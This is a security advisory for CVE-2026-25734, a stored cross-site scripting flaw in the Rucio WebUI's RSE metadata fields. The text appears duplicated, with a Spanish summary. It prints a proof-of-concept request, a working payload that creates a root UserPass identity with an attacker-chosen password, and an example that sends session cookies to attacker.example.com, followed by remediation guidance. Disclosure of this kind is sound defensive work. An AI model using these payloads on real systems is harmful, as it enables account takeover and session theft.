CVE-2026-25734

Rucio is a software framework that provides functionality to organize, manage, and access large volumes of scientific data using customizable policies. Versions prior to 35.8.3, 38.5.4, and 39.3.1 have a stored Cross-Site Scripting (XSS) vulnerability in the RSE metadata of the WebUI where attacker-controlled input is persisted by the backend and later rendered in the WebUI without proper output encoding. This allows arbitrary JavaScript execution in the context of the WebUI for users who view affected pages, potentially enabling session token theft or unauthorized actions. Versions 35.8.3, 38.5.4, and 39.3.1 fix the issue.

Rucio is a software framework that provides functionality to organize, manage, and access large volumes of scientific data using customizable policies. Versions prior to 35.8.3, 38.5.4, and 39.3.1 have a stored Cross-Site Scripting (XSS) vulnerability in the RSE metadata of the WebUI where attacker-controlled input is persisted by the backend and later rendered in the WebUI without proper output encoding. This allows arbitrary JavaScript execution in the context of the WebUI for users who view affected pages, potentially enabling session token theft or unauthorized actions. Versions 35.8.3, 38.5.4, and 39.3.1 fix the issue.

### Summary A stored Cross-site Scripting (XSS) vulnerability was identified in the RSE metadata of the WebUI where attacker-controlled input is persisted by the backend and later rendered in the WebUI without proper output encoding. This allows arbitrary JavaScript execution in the context of the WebUI for users who view affected pages, potentially enabling session token theft or unauthorized actions. --- ### Details Several metadata fields accept arbitrary input which is stored and later rendered unsafely in the WebUI when the RSEs are listed in the RSE Management dashboard. **Create Path**: Admin > RSE Management **Trigger Paths**: Admin > RSE Management Admin > RSE Management > _RSE NAME_ **Vulnerable Attributes**: City, Country_Name, ISP **Request** ```http POST /proxy/rses/XSSTEST HTTP/1.1 ... {"city":"<script>alert('CITY XSS')</script>","country_name":"<script>alert('COUNTRY XSS')</script>","ISP":"<script>alert('ISP XSS')</script>","deterministic":false,"volatile":false,"staging_area":false} ``` **Response** ```http HTTP/1.1 201 CREATED ... Created ``` **Stored XSS payload triggering in RSE listing after adding XSS payload in metadata** <img width="1252" height="624" alt="Stored XSS payload triggering in RSE listing after adding XSS payload in metadata" src="https://github.com/user-attachments/assets/6546fc95-0c81-4db7-9271-37b5d4bc8f47" /> --- ### Impact Any authenticated user who views affected resources may execute attacker-controlled JavaScript in the WebUI origin. Depending on the affected feature, this may impact all users or administrative users only. The impact is amplified by: - Session cookies that are accessible to JavaScript (missing HttpOnly flag). - API tokens exposed to the WebUI via JavaScript variables. An attacker would likely attempt to exfiltrate the session token to an external site by setting an encoded version of the cookie as the path of a GET request to an attacker controlled site (i.e `GET https://attacker.example.com/rucio/{BASE64_COOKIE}`). Attackers can also perform actions as the victim like creating a new UserPass identity with an attacker known password, creating/deleting an RSE, or exfiltrating data. **XSS Payload to Create Root UserPass** ```html <img src=x onerror=(function(){o={};o.method='PUT';o.credentials='include';o.headers={'X-Rucio-Username':'attackeruser','X-Rucio-Password':'AttackerPassword123','X-Rucio-Email':'demo@example.org','X-Rucio-Auth-Token':token};fetch(String.fromCharCode(47)+'identities'+String.fromCharCode(47)+'root'+String.fromCharCode(47)+'userpass',o)})()> ``` --- ### Remediation / Mitigation All client-side renderings of server-provided or user-controlled data must ensure proper HTML escaping before insertion into the DOM. Unsafe methods such as `.html()` should be avoided unless the content is explicitly sanitized. Safer alternatives include `.text()`, creating text nodes, or using a templating system that enforces automatic escaping. Additional defense-in-depth measures include: - Enforcing a strict Content Security Policy (CSP). - Setting the HttpOnly flag on session cookies. - Avoiding exposure of API tokens in JavaScript-accessible variables. > Note that many pages were found setting the API token as `token` in an authenticated response like `var token = "root-root-webui-...:"` (See `/ui/list_accounts` for example) --- ### Resources - OWASP XSS Prevention Cheat Sheet: [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)

### Summary A stored Cross-site Scripting (XSS) vulnerability was identified in the RSE metadata of the WebUI where attacker-controlled input is persisted by the backend and later rendered in the WebUI without proper output encoding. This allows arbitrary JavaScript execution in the context of the WebUI for users who view affected pages, potentially enabling session token theft or unauthorized actions. --- ### Details Several metadata fields accept arbitrary input which is stored and later rendered unsafely in the WebUI when the RSEs are listed in the RSE Management dashboard. **Create Path**: Admin > RSE Management **Trigger Paths**: Admin > RSE Management Admin > RSE Management > _RSE NAME_ **Vulnerable Attributes**: City, Country_Name, ISP **Request** ```http POST /proxy/rses/XSSTEST HTTP/1.1 ... {"city":"<script>alert('CITY XSS')</script>","country_name":"<script>alert('COUNTRY XSS')</script>","ISP":"<script>alert('ISP XSS')</script>","deterministic":false,"volatile":false,"staging_area":false} ``` **Response** ```http HTTP/1.1 201 CREATED ... Created ``` **Stored XSS payload triggering in RSE listing after adding XSS payload in metadata** <img width="1252" height="624" alt="Stored XSS payload triggering in RSE listing after adding XSS payload in metadata" src="https://github.com/user-attachments/assets/6546fc95-0c81-4db7-9271-37b5d4bc8f47" /> --- ### Impact Any authenticated user who views affected resources may execute attacker-controlled JavaScript in the WebUI origin. Depending on the affected feature, this may impact all users or administrative users only. The impact is amplified by: - Session cookies that are accessible to JavaScript (missing HttpOnly flag). - API tokens exposed to the WebUI via JavaScript variables. An attacker would likely attempt to exfiltrate the session token to an external site by setting an encoded version of the cookie as the path of a GET request to an attacker controlled site (i.e `GET https://attacker.example.com/rucio/{BASE64_COOKIE}`). Attackers can also perform actions as the victim like creating a new UserPass identity with an attacker known password, creating/deleting an RSE, or exfiltrating data. **XSS Payload to Create Root UserPass** ```html <img src=x onerror=(function(){o={};o.method='PUT';o.credentials='include';o.headers={'X-Rucio-Username':'attackeruser','X-Rucio-Password':'AttackerPassword123','X-Rucio-Email':'demo@example.org','X-Rucio-Auth-Token':token};fetch(String.fromCharCode(47)+'identities'+String.fromCharCode(47)+'root'+String.fromCharCode(47)+'userpass',o)})()> ``` --- ### Remediation / Mitigation All client-side renderings of server-provided or user-controlled data must ensure proper HTML escaping before insertion into the DOM. Unsafe methods such as `.html()` should be avoided unless the content is explicitly sanitized. Safer alternatives include `.text()`, creating text nodes, or using a templating system that enforces automatic escaping. Additional defense-in-depth measures include: - Enforcing a strict Content Security Policy (CSP). - Setting the HttpOnly flag on session cookies. - Avoiding exposure of API tokens in JavaScript-accessible variables. > Note that many pages were found setting the API token as `token` in an authenticated response like `var token = "root-root-webui-...:"` (See `/ui/list_accounts` for example) --- ### Resources - OWASP XSS Prevention Cheat Sheet: [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)

Rucio es un framework de software que proporciona funcionalidad para organizar, gestionar y acceder a grandes volúmenes de datos científicos utilizando políticas personalizables. Las versiones anteriores a la 35.8.3, 38.5.4 y 39.3.1 tienen una vulnerabilidad de cross-site scripting (XSS) almacenado en los metadatos RSE de la WebUI, donde la entrada controlada por el atacante es persistida por el backend y posteriormente renderizada en la WebUI sin una codificación de salida adecuada. Esto permite la ejecución arbitraria de JavaScript en el contexto de la WebUI para los usuarios que ven las páginas afectadas, lo que podría permitir el robo de tokens de sesión o acciones no autorizadas. Las versiones 35.8.3, 38.5.4 y 39.3.1 solucionan el problema.